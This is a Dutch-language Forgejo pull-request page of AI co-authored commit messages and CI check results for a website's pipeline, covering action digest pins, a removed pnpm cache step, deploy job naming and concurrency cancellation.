hangen nergens meer aan — alle drie bouwen hun eigen dist, dus wachten op Build
Site leverde niets op. Deploy Preview wacht op Tests & Build, Release op alle
vijf.

De lanepins blijven waar ze staan: de cache-stap verliet de node-lanes in v2.5.3
(de ADR zei v2.5.2) en die bump is van Renovate, gehouden achter
dependencyDashboardApproval.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
ci(actions): lanepins dragen hun versie, node-lanes naar v2.7.1
All checks were successful
[Workflow] On DNS Change / DNS Preview (push) Successful in 19s
[Workflow] On Documentation Change / Docs links (push) Successful in 1m3s
[Workflow] On Documentation Change / techdocs (push) Successful in 39s
[Workflow] On Documentation Change / Generate (push) Successful in 0s
[Workflow] On Source Change / Container Parity (push) Successful in 1m59s
[Workflow] On Source Change / Static Analysis (Prettier, ESLint, Typecheck, Audit, Knip, Outdated) (push) Successful in 2m21s
[Workflow] On Source Change / Static Analysis (push) Successful in 0s
[Workflow] On DNS Change / DNS Push (push) Has been skipped
[Workflow] On Source Change / Tests & Build-1 (push) Successful in 1m37s
[Workflow] On Source Change / Tests & Build (push) Successful in 0s
[Workflow] On Documentation Change / Deploy (docs site / Garage web) (push) Has been skipped
[Workflow] On Source Change / Deploy preview (push) Has been skipped
[Workflow] On Source Change / Deploy production (push) Has been skipped
[Workflow] On Source Change / Deploy Preview (push) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (push) Successful in 2m5s
[Workflow] On Source Change / Accessibility (axe-core) (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (push) Successful in 6m58s
[Workflow] On Source Change / Lighthouse Budgets (push) Successful in 0s
[Workflow] On Source Change / Semantic Release (push) Successful in 19s
[Workflow] On Source Change / Release (push) Successful in 0s
3750a0438a
Renovate's github-actions-manager kan een kale digest niet naar een versie
herleiden en slaat de dependency dan stil over. Geen enkele pin in deze repo
droeg het `# vX.Y.Z`-commentaar dat `pinDigests` normaal achterlaat, dus stonden
lanes weken vast op v2.1.0 tot v2.5.0 terwijl het dashboard leeg bleef.
webgrip.nl draagt het commentaar wel; dat is de conventie. Het is een
machineleesbare directive, geen proza.

De node-lanes gaan naar v2.7.1. Het enige verschil met de oude pins is fb0a4eb:
de cache-stap eruit. Die stap kloonde actions/cache (88 MB) per job om
~/.pnpm-store te bewaren, het storepad van pnpm 6 — pnpm 11 schrijft naar
~/.local/share/pnpm/store, dus hij bewaarde al maanden niets en kostte alleen
zijn eigen clone. Sinds homelab ADR-0056 houdt de runner de stores per node vast
en hoeft er niets meer gecachet te worden.

node-application-tests.yml stond op twee verschillende SHA's in deze repo
(on_source_change op v2.4.0, mail-auth-drift op v2.4.1); allebei nu v2.7.1.

De overige lanes houden hun pin: lighthouse-budgets en cloudflare-deploy dragen
sinds v2.1.0 een nieuwe runner-image respectievelijk release-channel-logica, en
die bump hoort bij een eigen verandering met eigen verificatie.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
chore(release): v0.3.0-rc.2 [skip ci]
All checks were successful
[Workflow] On Release Published / Release Channel (release) Successful in 0s
[Workflow] On Release Published / Deploy preview (release) Has been skipped
[Workflow] On Release Published / Deploy Production (release) Successful in 0s
[Workflow] On Release Published / Deploy Staging (release) Successful in 0s
[Workflow] On Release Published / Open or keep the promotion PR (release) Successful in 2s
[Workflow] On Release Published / Deploy production (release) Has been skipped
6287e424a1
## [0.3.0-rc.2](https://forgejo.webgrip.dev/webgrip/twente.dev/compare/v0.3.0-rc.1...v0.3.0-rc.2) (2026-09-17)

### Added

* **dns:** een merge naar main past de zone toe ([278faf4](278faf41d5))

### Docs

* **dns:** een rode drift is meestal main die achterloopt ([8402720](8402720825))

### CI

* **actions:** lanepins dragen hun versie, node-lanes naar v2.7.1 ([3750a04](3750a0438a))
* **pipeline:** ADR 0020 landt — één verificatiestage, geen dubbele run per push ([2ebc2eb](2ebc2ebbfa))
Een uitgeklapte aanroeper blijft in de jobslijst staan en is groen zodra zijn
kind niet faalt, ook als dat kind elke stap oversloeg. Op development en main
slaan allebei de kinderen van cloudflare-deploy over — cfpreview omdat de ref in
production-refs staat, cfprod omdat de call environment: preview meegeeft — dus
"Deploy Preview" meldde daar success in 0s zonder iets te deployen.

runs-on op de aanroeper zou hem eerlijk skipped laten melden, maar dan vouwt de
UI de hele aangeroepen workflow samen tot Set up job en Complete job, en juist op
een featurebranch staat daar de preview-URL in. De naam draagt de conditie nu in
plaats daarvan.

Refs docs/runbooks/ci-failures.md (run 428, DNS Push).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
ci(pipeline): pushes naar development annuleren elkaar weer, main niet
All checks were successful
[Workflow] On Documentation Change / Docs links (push) Successful in 1m13s
[Workflow] On Documentation Change / techdocs (push) Successful in 59s
[Workflow] On Documentation Change / Generate (push) Successful in 0s
[Workflow] On Source Change / Container Parity (push) Successful in 1m35s
[Workflow] On Source Change / Tests & Build-1 (push) Successful in 2m12s
[Workflow] On Source Change / Tests & Build (push) Successful in 0s
[Workflow] On Source Change / Static Analysis (Prettier, ESLint, Typecheck, Audit, Knip, Outdated) (push) Successful in 2m31s
[Workflow] On Source Change / Static Analysis (push) Successful in 0s
[Workflow] On Documentation Change / Deploy (docs site / Garage web) (push) Has been skipped
[Workflow] On Source Change / Deploy preview (push) Has been skipped
[Workflow] On Source Change / Deploy production (push) Has been skipped
[Workflow] On Source Change / Deploy Preview (feature branches) (push) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (push) Successful in 2m5s
[Workflow] On Source Change / Accessibility (axe-core) (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (push) Successful in 7m33s
[Workflow] On Source Change / Lighthouse Budgets (push) Successful in 0s
[Workflow] On Source Change / Semantic Release (push) Successful in 19s
[Workflow] On Source Change / Release (push) Successful in 0s
b670a2c4c0
Twee pushes vlak na elkaar kostten een volledige tweede pijplijn en sneden twee
rc's met twee stagingdeploys voor wat één verandering is. Annuleren levert één
rc die beide commits draagt, wat je toch al wilde. Een rc is per ontwerp
wegwerpbaar: de promotie-PR is de poort naar productie.

Op main blijft het uit. Dat is een productierelease, pushes zijn daar zeldzaam
(promotiemerges en hotfixes van de eigenaar), dus wachten kost er niets.

Het risico dat cd20c36 wilde afdekken is smal maar echt: @semantic-release/git
commit en pusht eerst, de tag volgt, en pas daarna publiceert
semantic-release-gitea de release waar on_release_published aan hangt. Annuleren
tussen die stappen laat een tag zonder release achter. De code bereikt staging
alsnog via de volgende rc — de symptomen en waarom je niets hoeft te herstellen
staan nu in de runbook, want een weestag wijst uit zichzelf niet naar een
geannuleerde run.

De inleiding van die runbook beschreef nog de oude keten met Build Site achter
Container Parity. Sinds ADR 0020 hangt Release achter alle vijf.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Sign in to join this conversation.
No reviewers
No labels
No milestone
No project
No assignees
2 participants
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
webgrip/twente.dev!7
No description provided.